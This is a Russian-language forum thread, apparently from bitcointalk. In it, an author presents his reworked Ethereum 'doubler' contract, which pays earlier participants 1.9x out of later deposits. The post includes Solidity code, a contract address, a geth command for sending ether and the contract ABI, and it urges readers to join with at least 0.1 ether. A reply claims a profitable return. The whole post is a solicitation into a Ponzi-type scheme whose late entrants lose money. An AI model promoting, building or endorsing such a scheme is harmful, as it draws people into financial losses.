Ох уж и заставили вы меня сегодня потрудиться, но не зря
Контракт с удвоителем имеет ряд ошибок, которые сегодня целый день выщемлял, понимал, почему транзы он отправляет коряво в сеть, в итоге все допер, переписал, и выставляю на ваше внимание релиз
function enter() {
if (msg.value < 1 ether) {
msg.sender.send(msg.value);
return;
}
// add a new participant to array
uint idx = participants.length;
participants.length += 1;
participants[idx].etherAddress = msg.sender;
participants[idx].amount = msg.value;
// collect fees and update contract balance
if (idx != 0) {
collectedFees += msg.value / 10;
balance += msg.value;
}
else {
// first participant has no one above him,
// so it goes all to fees
collectedFees += msg.value;
}
// if there are enough ether on the balance we can pay out to an earlier participant
if (balance > participants[payoutIdx].amount * 2) {
uint transactionAmount = 2 * (participants[payoutIdx].amount - participants[payoutIdx].amount / 10);
participants[payoutIdx].etherAddress.send(transactionAmount);
balance -= participants[payoutIdx].amount * 2;
payoutIdx += 1;
}
}
все странное подчеркнул, так и не понял почему автор ограничил 1 эфиром, в своем варианте я ограничил 0.1 эфира
Также уменьшил комиссию в ДВА раза, коэфициент умножения 1.9хдалее, ошибка жесть, он накапливает баланс без вычета комисии, и при выплате сравнивает с удвоенным вариантом, хотя нужно сравнивать за вычетом его комсы
также транзы отправляются не систематично, тк в коду путаница конкретная
плюс много денег зависает просто в контракте. т.к. на каждую транзу получается 110%, а должно быть 100, кстати это легко проследить тут
https://live.ether.camp/account/0xa90be2201bfed97587a2a17949e8624eafe51d13короче доработок там было массу, если что ещё вспомню то допишу
вообщем ближе к делу
ПРЕДУПРЕЖДЕНИЕ, НЕ ОТПРАВЛЯЙТЕ С БИРЖ, И ОНЛАЙН КОШЕЛЬКОВ, К АДРЕСАМ КОТОРЫХ У ВАС НЕТ ДОСТУПА!СЛАТЬ ОТ 0.1 эфира, меньше нельзя, иначе это будет подарок
отправляем через Mist, там где указав адрес (
0xa90be2201bfed97587a2a17949e8624eafe51d13), и указав вручную 250000 газа, т.к. по умолчанию он выставляет меньше, не переживайте, лишний газ с вас не спишется
![](https://ip.bitcointalk.org/?u=http%3A%2F%2Fi74.fastpic.ru%2Fbig%2F2016%2F0219%2F24%2F2dc1d110c691858686b64a086ee91524.png&t=665&c=Pls-Z-TJXewchg)
через geth так:
eth.sendTransaction({from: eth.coinbase, value: web3.toWei(1, 'ether'), to: '
0xa90be2201bfed97587a2a17949e8624eafe51d13', gas: 250000})
Если будут вопросы, задавайте, пойду на анлийскую тему, сейчас там налетит муравьев
![Grin](https://bitcointalk.org/Smileys/default/grin.gif)
отправил две тестовые транзакции по 0.1 эфира, выплата прошла успешно
зы, если кто хочет, может добавить в мист контракт и указать этот json:
[ { "constant": false, "inputs": [ { "name": "_owner", "type": "address", "typeShort": "address", "bits": "", "displayName": " <span class=\"punctuation\">_</span> owner", "template": "elements_input_address" } ], "name": "setOwner", "outputs": [], "type": "function", "displayName": "set Owner" }, { "constant": true, "inputs": [ { "name": "", "type": "uint256", "typeShort": "uint", "bits": "256", "displayName": "", "template": "elements_input_uint" } ], "name": "participants", "outputs": [ { "name": "etherAddress", "type": "address" }, { "name": "PayAmount", "type": "uint256" } ], "type": "function", "displayName": "participants" }, { "constant": true, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address" } ], "type": "function", "displayName": "owner" }, { "constant": true, "inputs": [], "name": "collectedFees", "outputs": [ { "name": "", "type": "uint256" } ], "type": "function", "displayName": "collected Fees" }, { "constant": true, "inputs": [], "name": "payoutIdx", "outputs": [ { "name": "", "type": "uint256" } ], "type": "function", "displayName": "payout Idx" }, { "constant": false, "inputs": [], "name": "NextPayout", "outputs": [], "type": "function", "displayName": " Next Payout" }, { "constant": true, "inputs": [], "name": "balance", "outputs": [ { "name": "", "type": "uint256" } ], "type": "function", "displayName": "balance" }, { "constant": false, "inputs": [], "name": "collectFees", "outputs": [], "type": "function", "displayName": "collect Fees" }, { "constant": false, "inputs": [], "name": "enter", "outputs": [], "type": "function", "displayName": "enter" }, { "inputs": [], "type": "constructor" } ]
, то не знаю какие у него там ошибки, лапши всегда на уши навесить можно, но из отправленных 50 кефира через 6 часов вернулось 90, это раз, а че комсу в 2 раза уменьшил, а не в двадцать? Много копипастил?